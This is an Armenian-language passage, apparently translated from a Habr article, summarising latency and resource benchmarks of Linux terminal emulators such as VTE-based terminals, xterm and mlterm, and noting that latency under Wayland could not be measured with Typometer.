Հոդվածի առաջին մասում մենք պարզեցինք, որ VTE-ի վրա հիմնված տերմինալներն ունեն լավ հնարավորությունների շարք, բայց այժմ մենք տեսնում ենք, որ դա կապված է որոշ կատարողական ծախսերի հետ: Այժմ հիշողությունը խնդիր չէ, քանի որ բոլոր VTE տերմինալները կարող են կառավարվել Daemon գործընթացի միջոցով, որը սահմանափակում է նրանց ախորժակը: Այնուամենայնիվ, հին համակարգերին, որոնք ունեն RAM-ի և միջուկի բուֆերների քանակի ֆիզիկական սահմանափակումներ, կարող են դեռևս կարիք ունենալ տերմինալների ավելի վաղ տարբերակների, քանի որ դրանք զգալիորեն ավելի քիչ ռեսուրսներ են սպառում: Չնայած VTE տերմինալները լավ կատարեցին թողունակության (ոլորման) թեստերում, դրանց ցուցադրման հետաձգումը գերազանցում է GNOME-ի Օգտագործողի ուղեցույցում սահմանված շեմը: VTE մշակողները հավանաբար պետք է դա հաշվի առնեն: Եթե հաշվի առնենք, որ նույնիսկ սկսնակ Linux օգտատերերի համար տերմինալի հետ հանդիպելն անխուսափելի է, նրանք կարող են այն ավելի հարմարավետ դարձնել օգտատերերի համար: Փորձառու գիքերի համար լռելյայն տերմինալից անցնելը կարող է նշանակել նույնիսկ ավելի քիչ աչքի լարվածություն և աշխատանքի հետ կապված վնասվածքներից և հիվանդություններից խուսափելու հնարավորություն՝ երկար աշխատանքային նստաշրջանների պատճառով: Ցավոք, միայն հին xterm-ը և mlterm-ը մեզ բերում են 10 միլիվայրկյան կախարդական պինգ շեմին, որն անընդունելի է շատերի համար:
Հենանիշային չափումները ցույց են տվել նաև, որ Linux-ի գրաֆիկական միջավայրերի զարգացման շնորհիվ մշակողները ստիպված են եղել մի շարք փոխզիջումների գնալ: Որոշ օգտվողներ կարող են ցանկանալ նայել սովորական պատուհանների կառավարիչներին, քանի որ դրանք ապահովում են ping-ի զգալի կրճատում: Ցավոք, Wayland-ի համար հնարավոր չեղավ չափել հետաձգումը. Typometer ծրագիրը, որը ես օգտագործել եմ, ստեղծվել է այն բանի համար, որ Wayland-ը նախատեսված է կանխելու՝ այլ պատուհանների լրտեսում: Հուսով եմ, որ Wayland compositing-ը ավելի լավ է հանդես գալիս, քան X.org-ը, և նաև հույս ունեմ, որ ապագայում ինչ-որ մեկը կգտնի այս միջավայրում հետաձգումը չափելու միջոց:
Source: www.habr.com